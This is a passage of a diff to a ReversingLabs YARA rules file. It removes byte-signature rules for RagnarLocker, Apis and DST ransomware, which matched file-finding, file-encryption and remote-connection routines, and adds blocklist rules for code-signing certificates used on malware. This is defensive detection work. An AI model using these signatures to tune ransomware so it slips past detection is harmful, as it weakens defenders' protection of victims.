47 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? - ?? ?? ?? 89 47 ?? 83 3F ?? 75 ?? 57 68 ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 0B C0 75 - ?? 57 E8 ?? ?? ?? ?? EB ?? 57 E8 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? FF 75 ?? FF 75 ?? - E8 ?? ?? ?? ?? 0B C0 0F 85 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 8B 75 ?? 83 7D ?? ?? 74 ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B - 14 24 51 50 52 8D 46 ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 D1 E1 8B 5C 24 ?? 51 50 53 8D 46 - ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? - ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? - ?? ?? ?? 8B 45 ?? 5E 5F C9 C2 - } - $remote_connection = { - 55 8B EC 81 C4 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? - 6A ?? E8 ?? ?? ?? ?? 23 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A - ?? 6A ?? 6A ?? FF 75 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 89 85 ?? ?? ?? ?? 0F - 84 ?? ?? ?? ?? 8D 5D ?? C7 03 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? - ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 45 ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 23 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 89 85 ?? ?? ?? ?? 74 ?? - 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? - ?? FF B5 ?? ?? ?? ?? 0B C0 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? - FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? C9 C2 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "New Dial spa" and pe.signatures [ i ] . serial == "09:fb:28" and 1046968418 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_197Dc32D915458953562D2Fe78Bf2468 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "9c25410f-6a3d-5e6e-b270-ccec3be34e80" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14804-L14820" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "e61284a74765592fe97b90ca1c260efa46ea31286e6d09ab32d6c664b8271f2a" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $remote_connection and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Y.L. Knafo, Ltd." and pe.signatures [ i ] . serial == "19:7d:c3:2d:91:54:58:95:35:62:d2:fe:78:bf:24:68" and 1575331200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ragnarlocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_7C0Be3D14787351E3156F5F37F2B3663 : INFO FILE { meta: - description = "Yara rule that detects RagnarLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3bc3765a-f1f8-59bc-bbe8-6821654b334f" - date = "2020-06-26" - modified = "2020-07-15" + id = "14a292da-36c1-5a37-b27e-20c982e44c25" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.RagnarLocker.yara#L1-L108" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14822-L14838" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "398f0e5e003f87edf90cdea718be6b10470df317214d00db4dc6c4cccc5b6748" + logic_hash = "66c2cd84fccedd2afef00495c49d0c2844e2e5e190e6a859d2970e8ddb4a35c2" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "RagnarLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 33 C0 B9 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 8B 75 ?? 57 - 8D BD ?? ?? ?? ?? F3 AB 8B 3D ?? ?? ?? ?? 39 45 ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D - 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 - ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D3 - } - $find_files_p2 = { - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 83 FB ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? FF 74 B5 ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? - ?? 46 83 FE ?? 7C ?? 33 C0 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 - 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 - FF D6 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 FF D6 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D6 6A ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? - ?? ?? 8B 45 ?? 8B 1D ?? ?? ?? ?? 8B 75 ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - 56 FF D3 - } - $find_files_p3 = { - 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 90 FF 74 B5 ?? - 53 FF D7 85 C0 74 ?? 46 83 FE ?? 72 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 8B 45 ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? E9 - ?? ?? ?? ?? 5F 5E 32 C0 5B 8B E5 5D C3 FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E B0 ?? 5B 8B - E5 5D C3 - } - $encrypt_files_p1 = { - 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 83 C4 ?? 68 ?? ?? ?? ?? 50 FF D7 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D7 56 8B 35 ?? ?? - ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 68 ?? ?? ?? ?? FF D6 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8B F0 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? - ?? ?? 8B F8 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 - } - $encrypt_files_p2 = { - 8D 45 ?? 50 57 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? - 57 50 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 8B 35 ?? ?? ?? - ?? 8D 4D ?? 6A ?? 51 FF 75 ?? FF 75 ?? 50 FF D6 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 - C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 50 8D 85 ?? ?? ?? ?? - 50 FF 75 ?? FF D6 8B 45 ?? 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? FF D0 FF 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF ?? ?? - ?? ?? 89 45 ?? 8D 57 ?? 8B CF D3 E8 A8 ?? 0F 84 ?? ?? ?? ?? 8D 47 ?? C7 45 ?? ?? ?? - ?? ?? 66 89 45 ?? 33 F6 33 C0 50 50 50 50 50 68 ?? ?? ?? ?? 50 66 89 45 ?? 8D 45 ?? - 50 FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? - ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 66 8B 85 ?? ?? ?? ?? 66 3B 45 ?? 75 ?? 66 8B 85 ?? ?? ?? ?? 66 3B 45 ?? B8 ?? ?? - ?? ?? 0F 44 F0 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? - ?? ?? ?? 83 EF ?? 8B 45 ?? 0F 89 ?? ?? ?? ?? 0F 57 C0 C7 85 - } - $encrypt_files_p3 = { - 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? - 0F 29 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 68 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 68 - ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? - ?? ?? B8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 6A ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? - 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 - C0 74 ?? FF 75 ?? 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF D6 6A ?? FF 15 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Apex Tech, SIA" and pe.signatures [ i ] . serial == "7c:0b:e3:d1:47:87:35:1e:31:56:f5:f3:7f:2b:36:63" and 1523318400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Apis : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_05054Fdea356F3Dd7Db479Fa : INFO FILE { meta: - description = "Yara rule that detects Apis ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "63791250-e21e-53d1-932c-9b5d16a7cad9" - date = "2021-11-25" - modified = "2021-11-25" + id = "c78d42bc-f8ca-579a-af49-ba9c7b63ef07" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Apis.yara#L1-L75" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14840-L14856" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0915469884a268f124da348d6a182eb4a0f69063d4041b46628794ab011227ef" + logic_hash = "02ec52e060a6b8b3edfad0a1f5b1f2d6c409645d5233612d0d353ad74bcd4568" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Apis" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 0A 06 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 2C ?? 06 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E - 69 32 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? - 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 - ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E - ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? - 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 13 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 07 28 ?? ?? - ?? ?? 08 28 ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 - ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? - 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 2A - } - $encrypt_files = { - 02 28 ?? ?? ?? ?? 0A 17 0B 16 0C 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 06 08 9A 28 - ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 08 9A 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 11 ?? FE 06 ?? ?? - ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 - ?? ?? ?? ?? 06 08 9A 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F - ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 2F ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? - 18 5B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 06 08 9A 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 06 08 9A 06 08 9A 72 ?? ?? ?? ?? 1A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? - 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 1A 5B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 13 ?? 06 08 9A 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 08 9A 06 08 9A 72 ?? ?? ?? ?? 1A - 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 2C ?? 16 0B 02 72 ?? ?? ?? ?? 7E ?? ?? - ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 08 17 58 0C 08 06 8E - 69 3F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 28 ?? ?? ?? ?? - 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 2A - } - $setup_env = { - 28 ?? ?? ?? ?? 2C ?? 17 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? - ?? 2C ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? - ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2B ?? 7E ?? ?? ?? ?? 2C ?? - 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? - 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2D ?? 14 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? - 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? - ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $setup_env ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "05:05:4f:de:a3:56:f3:dd:7d:b4:79:fa" and 1474436511 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_DST : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_08Aaa069E92517F21Ce67Ca713F6Ea63 : INFO FILE { meta: - description = "Yara rule that detects DST ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bcc9933d-14eb-5f83-a136-5f009c7a3282" - date = "2021-12-06" - modified = "2021-12-06" + id = "d468530e-8a51-583e-a108-e409f0144165" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.DST.yara#L1-L170" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14858-L14874" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b658093232a2265d425e3b38758268c116bbac51fa5eed372b5b4f00de4c6880" + logic_hash = "28ad7e9c75a701425003cde4a7eb10fa471394628cd5004412778d8d7cddb50b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "DST" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC - 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? - ?? 48 89 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 85 DB 0F 84 ?? ?? ?? ?? 48 - 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 4C 24 ?? - 31 C9 31 FF E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 DB - 0F 85 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 0D ?? ?? - ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? - ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 0F 1F 00 - E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? - ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 DB 0F 85 - ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 0D - } - $encrypt_files_p2 = { - 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 8C 24 - ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 44 24 ?? E8 ?? ?? ?? ?? 90 85 C0 0F 85 ?? ?? ?? ?? - 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? - BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? - ?? 48 85 DB 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? - ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 85 C9 0F 85 ?? ?? ?? ?? - 48 89 5C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 51 ?? 48 8B 84 24 ?? ?? - ?? ?? FF D2 48 8B 0D ?? ?? ?? ?? 83 B9 ?? ?? ?? ?? ?? 